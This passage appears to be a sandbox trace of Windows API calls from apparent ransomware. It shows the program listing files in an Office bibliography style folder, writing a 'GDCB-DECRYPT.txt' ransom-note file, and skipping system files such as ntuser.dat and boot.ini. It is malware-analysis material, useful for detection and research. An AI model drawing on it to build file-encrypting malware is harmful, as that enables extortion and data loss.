(in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="GostTitle.XSL", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="GostTitle.XSL", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostTitle.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80 [0135.504] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="HarvardAnglia2008OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100 [0135.504] lstrcmpW (lpString1=".xsl", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="IEEE2006OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91 [0135.504] lstrcmpW (lpString1=".xsl", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="ISO690.XSL", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="ISO690.XSL", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77 [0135.504] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690Nmerical.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85 [0135.504] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="MLASeventhEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100 [0135.504] lstrcmpW (lpString1=".xsl", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="SIST02.XSL", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="SIST02.XSL", lpString2="..") returned 1 [0135.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="SIST02.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" [0135.504] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77 [0135.504] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0135.504] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.504] lstrcmpW (lpString1="TURABIAN.XSL", lpString2=".") returned 1 [0135.504] lstrcmpW (lpString1="TURABIAN.XSL", lpString2="..") returned 1 [0135.505] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="TURABIAN.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" [0135.505] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79 [0135.505] lstrcmpW (lpString1=".XSL", lpString2=".sql") returned 1 [0135.505] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.505] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.505] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.505] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\\\GDCB-DECRYPT.txt") returned 84 [0135.505] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\bibliography\\style\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.507] GetLastError () returned 0x50 [0135.507] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.507] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\") returned 67 [0135.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*" [0135.507] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7ac0 [0135.508] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.508] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.508] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.508] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.508] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.508] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2=".") returned 1 [0135.508] lstrcmpW (lpString1="APASixthEditionOfficeOnline.xsl", lpString2="..") returned 1 [0135.508] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="APASixthEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" [0135.508] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.508] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98 [0135.508] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned 98 [0135.508] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.509] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.509] lstrcmpW (lpString1="CHICAGO.XSL", lpString2=".") returned 1 [0135.509] lstrcmpW (lpString1="CHICAGO.XSL", lpString2="..") returned 1 [0135.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="CHICAGO.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL" [0135.509] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.509] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78 [0135.509] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\CHICAGO.XSL") returned 78 [0135.509] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.509] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.509] lstrcmpW (lpString1="GB.XSL", lpString2=".") returned 1 [0135.509] lstrcmpW (lpString1="GB.XSL", lpString2="..") returned 1 [0135.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GB.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL" [0135.509] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.509] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73 [0135.509] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GB.XSL") returned 73 [0135.509] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.509] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.510] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.510] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt" [0135.510] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.510] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0135.510] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0135.510] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0135.510] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GDCB-DECRYPT.txt") returned 83 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.510] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.510] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.510] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.510] lstrcmpW (lpString1="GostName.XSL", lpString2=".") returned 1 [0135.510] lstrcmpW (lpString1="GostName.XSL", lpString2="..") returned 1 [0135.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostName.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL" [0135.510] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.510] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79 [0135.510] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostName.XSL") returned 79 [0135.510] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.511] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.511] lstrcmpW (lpString1="GostTitle.XSL", lpString2=".") returned 1 [0135.511] lstrcmpW (lpString1="GostTitle.XSL", lpString2="..") returned 1 [0135.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="GostTitle.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL" [0135.511] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.511] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80 [0135.511] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\GostTitle.XSL") returned 80 [0135.511] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.511] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.511] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2=".") returned 1 [0135.511] lstrcmpW (lpString1="HarvardAnglia2008OfficeOnline.xsl", lpString2="..") returned 1 [0135.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="HarvardAnglia2008OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl" [0135.511] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.511] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100 [0135.511] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\HarvardAnglia2008OfficeOnline.xsl") returned 100 [0135.511] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.511] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.511] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2=".") returned 1 [0135.511] lstrcmpW (lpString1="IEEE2006OfficeOnline.xsl", lpString2="..") returned 1 [0135.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="IEEE2006OfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl" [0135.511] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.512] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91 [0135.512] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\IEEE2006OfficeOnline.xsl") returned 91 [0135.512] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.512] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.512] lstrcmpW (lpString1="ISO690.XSL", lpString2=".") returned 1 [0135.512] lstrcmpW (lpString1="ISO690.XSL", lpString2="..") returned 1 [0135.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" [0135.512] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.512] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77 [0135.512] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL") returned 77 [0135.512] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.512] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.512] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2=".") returned 1 [0135.512] lstrcmpW (lpString1="ISO690Nmerical.XSL", lpString2="..") returned 1 [0135.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="ISO690Nmerical.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" [0135.512] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.512] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85 [0135.512] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL") returned 85 [0135.512] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.513] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.513] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2=".") returned 1 [0135.513] lstrcmpW (lpString1="MLASeventhEditionOfficeOnline.xsl", lpString2="..") returned 1 [0135.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="MLASeventhEditionOfficeOnline.xsl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" [0135.513] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.513] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100 [0135.513] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl") returned 100 [0135.513] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.513] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.513] lstrcmpW (lpString1="SIST02.XSL", lpString2=".") returned 1 [0135.513] lstrcmpW (lpString1="SIST02.XSL", lpString2="..") returned 1 [0135.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="SIST02.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" [0135.513] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.513] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77 [0135.513] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL") returned 77 [0135.513] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.513] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.513] lstrcmpW (lpString1="TURABIAN.XSL", lpString2=".") returned 1 [0135.513] lstrcmpW (lpString1="TURABIAN.XSL", lpString2="..") returned 1 [0135.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\", lpString2="TURABIAN.XSL" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL" [0135.513] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.514] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\TURABIAN.XSL") returned 79 [0135.514] lstrlenW 